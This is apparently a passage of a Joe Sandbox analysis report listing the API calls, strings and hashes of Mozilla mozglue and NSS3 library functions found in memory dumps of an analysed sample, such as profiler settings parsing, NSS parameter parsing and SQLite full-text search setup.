[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C2A5717
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C2A54A3
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C2A54B9
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C2A5D24
MOZ_BASE_PROFILER_HELP, xrefs: 6C2A5511
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C2A57AE
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C2A5766
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C2A5D01
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C2A5AC9
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C2A5BBE
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C2A5749
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C2A5791
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C2A5D1C
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C2A5D2B
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C2A56E3
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C2A57C5
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C2A5CF9
MOZ_PROFILER_STARTUP, xrefs: 6C2A55E1
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C2A5724
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C2A584E
[I %d/%d] profiler_init, xrefs: 6C2A564E
GeckoMain, xrefs: 6C2A5554, 6C2A55D5
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C2A548D

Memory Dump Source

Source File: 00000000.00000002.2206661284.000000006C291000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C290000, based on PE: true

Associated: 00000000.00000002.2206605715.000000006C290000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206835734.000000006C31E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206892942.000000006C322000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c290000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 222fc5e666dd33b1eec2e394300a26f5384d8a0f456a926a280418416d0f368c
Instruction ID: cfbb9e3038fe9cedccad8dcb39aeb5aab0e29cd8c853338bc8bacb62a0c0d205
Opcode Fuzzy Hash: 222fc5e666dd33b1eec2e394300a26f5384d8a0f456a926a280418416d0f368c
Instruction Fuzzy Hash: 0C2212B4A08B099FE700AFA4881575BB7B9AF4630DF04453AFC469BF41EB34D45ACB52

Function 6C414840 Relevance: 63.4, APIs: 29, Strings: 7, Instructions: 351memorystringCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000000,?,?,6C3F601B,?,00000000,?), ref: 6C41486F
PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,?,?,?,?,00000000), ref: 6C4148A8
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,?,00000000), ref: 6C4148BE
NSSUTIL_ArgSkipParameter.NSS3(?,?,?,?,?,00000000), ref: 6C4148DE
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00000000), ref: 6C4148F5
NSSUTIL_ArgSkipParameter.NSS3(00000000,?,?,?,?,?,?,00000000), ref: 6C41490A
PORT_ZAlloc_Util.NSS3(?,?,?,?,?,?,00000000), ref: 6C414919
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,00000000), ref: 6C41493F
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C414970
PORT_Alloc_Util.NSS3(00000001), ref: 6C4149A0
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C4149AD
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C4149D4
NSSUTIL_ArgFetchValue.NSS3(00000001,?), ref: 6C4149F4
NSSUTIL_ArgDecodeNumber.NSS3(00000000), ref: 6C414A10
NSSUTIL_ArgParseSlotFlags.NSS3(slotFlags,00000000), ref: 6C414A27
NSSUTIL_ArgReadLong.NSS3(timeout,00000000,00000000,00000000), ref: 6C414A3D
NSSUTIL_ArgGetParamValue.NSS3(askpw,00000000), ref: 6C414A4F
PL_strcasecmp.NSS3(00000000,every), ref: 6C414A6C
PL_strcasecmp.NSS3(00000000,timeout), ref: 6C414A81
free.MOZGLUE(00000000), ref: 6C414AAB
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C414ABE
PL_strncasecmp.NSS3(00000000,hasRootCerts,0000000C), ref: 6C414ADC
free.MOZGLUE(00000000), ref: 6C414B17
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C414B33

Part of subcall function 6C414120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C41413D
Part of subcall function 6C414120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C414162
Part of subcall function 6C414120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C41416B
Part of subcall function 6C414120: PL_strncasecmp.NSS3(2BAl,?,00000001), ref: 6C414187
Part of subcall function 6C414120: NSSUTIL_ArgSkipParameter.NSS3(2BAl), ref: 6C4141A0
Part of subcall function 6C414120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4141B4
Part of subcall function 6C414120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6C4141CC
Part of subcall function 6C414120: NSSUTIL_ArgFetchValue.NSS3(2BAl,?), ref: 6C414203

PL_strncasecmp.NSS3(00000000,hasRootTrust,0000000C), ref: 6C414B53
free.MOZGLUE(00000000), ref: 6C414B94
free.MOZGLUE(?), ref: 6C414BA7
free.MOZGLUE(00000000), ref: 6C414BB7
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C414BC8

Strings

rootFlags, xrefs: 6C414AB9, 6C414B2E
hasRootTrust, xrefs: 6C414B4D
every, xrefs: 6C414A66
timeout, xrefs: 6C414A38, 6C414A7B
slotFlags, xrefs: 6C414A22
hasRootCerts, xrefs: 6C414AD6
askpw, xrefs: 6C414A4A

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: isspace$Valuefree$L_strncasecmp$Alloc_ParamParameterSkipUtil$FetchL_strcasecmpstrlen$ArenaDecodeFlagsLongNumberParseReadSlotmemsetstrcpystrncpy
String ID: askpw$every$hasRootCerts$hasRootTrust$rootFlags$slotFlags$timeout
API String ID: 3791087267-1256704202
Opcode ID: 9f2514d77b5ccd8e4d3ea050a07f63dcfefe220502c72d527bdd3ef1f0fe2bf7
Instruction ID: 2a0de1d4de40928716fcacdb87c33730c129d9bf952d78fbfbfe4b6f87896587
Opcode Fuzzy Hash: 9f2514d77b5ccd8e4d3ea050a07f63dcfefe220502c72d527bdd3ef1f0fe2bf7
Instruction Fuzzy Hash: B4C1E5B4E492555BEB00CF689C40FBE7FB4AF0628DF151029ECD5A7F41E321AA15C7A1

Function 6C3D6D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C4DA8EC,0000006C), ref: 6C3D6DC6
memcpy.VCRUNTIME140(?,6C4DA958,0000006C), ref: 6C3D6DDB
memcpy.VCRUNTIME140(?,6C4DA9C4,00000078), ref: 6C3D6DF1
memcpy.VCRUNTIME140(?,6C4DAA3C,0000006C), ref: 6C3D6E06
memcpy.VCRUNTIME140(?,6C4DAAA8,00000060), ref: 6C3D6E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C3D6E38

Part of subcall function 6C45C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C45C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C3D6E76
TlsGetValue.KERNEL32 ref: 6C3D726F
EnterCriticalSection.KERNEL32(?), ref: 6C3D7283

Strings

!, xrefs: 6C3D7123

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: c5500bc547a04c629d9153110c93d75c4717e164c36f4f3a3fbf12d4cf0461e0
Instruction ID: c5fb3aac49ca2d51de7fa6ad3f53abe19bbb9856c2af394dd37caa7119a92e94
Opcode Fuzzy Hash: c5500bc547a04c629d9153110c93d75c4717e164c36f4f3a3fbf12d4cf0461e0
Instruction Fuzzy Hash: 5172A176D012199FDF20DF28CC88B99BBB5AF49308F1141E9D80DA7705E732AA84CF91

Function 6C41AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C41ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C41ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C41ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C41AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C41ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C41ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C41ADF0

Part of subcall function 6C45C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C45C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C41B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C41B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C41B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C41B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C41B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C41B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C41B40C

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: b07f4e304949a6d35ed09cf17d7391d521d1fad6a8dda56a41128b4a1b89a6fd
Instruction ID: 8df0be218748fa0a324d02ec9cb43c931eca20549c516093d0a55c938110312e
Opcode Fuzzy Hash: b07f4e304949a6d35ed09cf17d7391d521d1fad6a8dda56a41128b4a1b89a6fd
Instruction Fuzzy Hash: 57227FB1A08301AFE710CF14CC45FA677E1AF44308F14857CE9995BBA2E772E859CB96

Function 6C2FC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C2FC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C2FC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C2FC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C2FC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C2FC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C2FCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C2FCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C2FDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C2FDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C2FDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C2FDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C2FDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C2FE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C2FE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C2FE472

Memory Dump Source

Source File: 00000000.00000002.2206661284.000000006C291000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C290000, based on PE: true

Associated: 00000000.00000002.2206605715.000000006C290000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206835734.000000006C31E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206892942.000000006C322000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c290000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 3c47673a8aa8c8235c0b707aa90f4c9558f33db18ae67e4f8d3c85dcc8d4bba4
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: D9339E71E4021E8FCB14CF98C880AADFBF2FF49310F194269D965AB755D731A946CB90

Function 6C39ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C39ED38

Part of subcall function 6C334F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C334FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C39EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C39EFE4

Part of subcall function 6C45DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C335001,?,00000003,00000000), ref: 6C45DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C39F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C39F129
sqlite3_mprintf.NSS3(optimize), ref: 6C39F1D1
sqlite3_free.NSS3(?), ref: 6C39F368

Strings

fts3tokenize, xrefs: 6C39F30F
unicode61, xrefs: 6C39EDB5
optimize, xrefs: 6C39F199, 6C39F1CC, 6C39F211
matchinfo, xrefs: 6C39F04F, 6C39F082, 6C39F0C2, 6C39F0F2, 6C39F124, 6C39F169
snippet, xrefs: 6C39EF05, 6C39EF37, 6C39EF7C
simple, xrefs: 6C39ED79
fts3_tokenizer, xrefs: 6C39EE1A, 6C39EEA8
fts4, xrefs: 6C39F2AD
fts3, xrefs: 6C39F247
offsets, xrefs: 6C39EFAF, 6C39EFDF, 6C39F01F
fts4aux, xrefs: 6C39ECF9
porter, xrefs: 6C39ED97

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: b8e750bfeca07c0c09266e38bb75d8562c52b5eb2af873a9c658e17d335f4f7c
Instruction ID: 56c21d078bd1522b3d17d2f62bb36ad9d93858a83aee85dfda09cd22d2073023
Opcode Fuzzy Hash: b8e750bfeca07c0c09266e38bb75d8562c52b5eb2af873a9c658e17d335f4f7c
Instruction Fuzzy Hash: 8502C2B5B043404BE704DF619C85B2B76B5BBC930CF15853DE89A87B40FB75E8468B92

Function 6C3AEF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C3AEF63

Part of subcall function 6C3B87D0: PORT_NewArena_Util.NSS3(00000800,6C3AEF74,00000000), ref: 6C3B87E8
Part of subcall function 6C3B87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C3AEF74,00000000), ref: 6C3B87FD
Part of subcall function 6C3B87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C3B884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C3AF2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C3AF2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C3AF30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C3AF374
PL_strcasecmp.NSS3(6C4F2FD4,?), ref: 6C3AF457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C3AF4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C3AF66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C3AF67D
CERT_DestroyName.NSS3(?), ref: 6C3AF68B

Part of subcall function 6C3B8320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C3B8338
Part of subcall function 6C3B8320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C3B8364
Part of subcall function 6C3B8320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C3B838E
Part of subcall function 6C3B8320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C3B83A5
Part of subcall function 6C3B8320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C3B83E3

Part of subcall function 6C3B84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C3B84D9
Part of subcall function 6C3B84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C3B8528

Part of subcall function 6C3B8900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C3AF599,?,00000000), ref: 6C3B8955

Strings

", xrefs: 6C3AF21B
oid., xrefs: 6C3AF2CF
*, xrefs: 6C3AF3C6

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: f0e1af5976a37fac50abfe5b85da4b5a8c57500b8514550ecf32dc54797b649a
Instruction ID: 48ad03a29d1a4980f7e3e24a5b34384c53028304abd30f2c312c16000c7c28ad
Opcode Fuzzy Hash: f0e1af5976a37fac50abfe5b85da4b5a8c57500b8514550ecf32dc54797b649a
Instruction Fuzzy Hash: C82229716083414FD714CEA9C49076AB7E6EB8D318F184A2DE4D587BA1E7329827CF93

Function 6C41EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C41C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C41DAE2,?), ref: 6C41C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C41F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C41F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C41F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C41F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C4E218C), ref: 6C41F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C41F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C41F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C41F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C41F210

Part of subcall function 6C3C52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C41F1E9,?,00000000,?,?), ref: 6C3C52F5
Part of subcall function 6C3C52D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C3C530F
Part of subcall function 6C3C52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C3C5326
Part of subcall function 6C3C52D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C41F1E9,?,00000000,?,?), ref: 6C3C5340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C41F227

Part of subcall function 6C40FAB0: free.MOZGLUE(?,-00000001,?,?,6C3AF673,00000000,00000000), ref: 6C40FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C41F23E

Part of subcall function 6C40BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C3BE708,00000000,00000000,00000004,00000000), ref: 6C40BE6A
Part of subcall function 6C40BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C3C04DC,?), ref: 6C40BE7E
Part of subcall function 6C40BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C40BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C41F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C41F3A8

Part of subcall function 6C45C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C45C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C41F3B3

Part of subcall function 6C3C2D20: PK11_DestroyObject.NSS3(?,?), ref: 6C3C2D3C
Part of subcall function 6C3C2D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C3C2D5F

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 66b117ec31d4031d5de0c6472cebdb6714cca0ce39e154c203cb811e4a1a16f9
Instruction ID: 1521b978a319adb4a6c0c21198902c9ed0573dc020e6aa364cccee89f5969d49
Opcode Fuzzy Hash: 66b117ec31d4031d5de0c6472cebdb6714cca0ce39e154c203cb811e4a1a16f9
Instruction Fuzzy Hash: FFD1A2B5E062099FEB14CF99D880EAEB7F5FF48308F158029D955A7B11E731E806CB90

Function 6C33ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C33ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C33EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C33EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C33EF98

Strings

%s at line %d of [%.10s], xrefs: 6C33F492
